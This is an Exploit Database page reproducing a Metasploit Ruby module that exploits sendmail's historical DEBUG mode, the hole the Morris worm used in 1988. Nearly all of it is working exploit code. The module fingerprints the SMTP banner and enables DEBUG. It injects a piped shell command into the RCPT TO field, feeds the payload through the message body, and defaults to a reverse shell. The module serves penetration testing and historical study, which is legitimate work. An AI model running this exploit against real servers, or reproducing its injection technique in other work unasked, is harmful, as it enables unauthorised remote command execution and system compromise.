Morris Worm – sendmail Debug Mode Shell Escape (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2018-11-06
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/45789/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'expect'
  
  class MetasploitModule < Msf::Exploit::Remote
  
  # cmd/unix/reverse spams the session with Telnet codes on EOF
  Rank = AverageRanking
  
  include Msf::Exploit::Remote::Tcp
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Morris Worm sendmail Debug Mode Shell Escape',
  'Description'=> %q{
  This module exploits sendmail's well-known historical debug mode to
  escape to a shell and execute commands in the SMTP RCPT TO command.
  
  This vulnerability was exploited by the Morris worm in 1988-11-02.
  Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
  
  Currently only cmd/unix/reverse and cmd/unix/generic are supported.
  },
  'Author' => [
  'Robert Tappan Morris', # Exploit and worm for sure
  'Cliff Stoll',# The Cuckoo's Egg inspiration
  'wvu' # Module and additional research
  ],
  'References' => [
  ['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History
  ['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'],# Analysis
  ['URL', 'https://github.com/arialdomartini/morris-worm'], # Source
  ['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
  ],
  'DisclosureDate' => 'Nov 2 1988',
  'License'=> MSF_LICENSE,
  'Platform' => 'unix',
  'Arch' => ARCH_CMD,
  'Privileged' => false, # DefUid in src/conf.c, usually "daemon"
  'Payload'=> {'Compat' => {'RequiredCmd' => 'generic telnet'}},
  'Targets'=> [
  # https://en.wikipedia.org/wiki/Source_Code_Control_System
  ['@(#)version.c 5.51 (Berkeley) 5/2/86', {}]
  ],
  'DefaultTarget'=> 0,
  'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}
  ))
  
  register_options([Opt::RPORT(25)])
  
  register_advanced_options([
  OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5])
  ])
  end
  
  def check
  checkcode = CheckCode::Safe
  
  connect
  res = sock.get_once
  
  return CheckCode::Unknown unless res
  
  if res =~ /^220.*Sendmail/
  checkcode = CheckCode::Detected
  end
  
  sock.put("DEBUG\r\n")
  res = sock.get_once
  
  return checkcode unless res
  
  if res.start_with?('200 Debug set')
  checkcode = CheckCode::Appears
  end
  
  checkcode
  rescue Rex::ConnectionError => e
  vprint_error(e.message)
  CheckCode::Unknown
  ensure
  disconnect
  end
  
  def exploit
  # We don't care who the user is, so randomize it
  from = rand_text_alphanumeric(8..42)
  
  # Strip mail header with sed(1), pass to sh(1), and ensure a clean exit
  to = %("| sed '1,/^$/d' | sh; exit 0")
  
  # We don't have $PATH, so set one
  path = '/bin:/usr/bin:/usr/ucb:/etc'
  
  sploit = {
  nil => /220.*Sendmail/,
  'DEBUG' => /200 Debug set/,
  "MAIL FROM:<#{from}>" => /250.*Sender ok/,
  "RCPT TO:<#{to}>" => /250.*Recipient ok/,
  'DATA'=> /354 Enter mail/,
  # Indent PATH= so it's not interpreted as part of the mail header
  " PATH=#{path}" => nil,
  'export PATH' => nil,
  payload.encoded => nil,
  '.' => /250 Ok/,
  'QUIT'=> /221.*closing connection/
  }
  
  print_status('Connecting to sendmail')
  connect
  
  print_status('Enabling debug mode and sending exploit')
  sploit.each do |line, pattern|
  Timeout.timeout(datastore['SendExpectTimeout']) do
  if line
  print_status("Sending: #{line}")
  sock.put("#{line}\r\n")
  end
  if pattern
  vprint_status("Expecting: #{pattern.inspect}")
  sock.expect(pattern) do |pat|
  return unless pat
  vprint_good("Received: #{pat.first}")
  end
  end
  end
  end
  rescue Rex::ConnectionError => e
  fail_with(Failure::Unreachable, e.message)
  rescue Timeout::Error
  fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')
  ensure
  disconnect
  end
  
  def on_new_session(session)
  print_warning("Do NOT type `exit', or else you may lose further shells!")
  print_warning('Hit ^C to abort the session instead, please and thank you')
  end
  
  end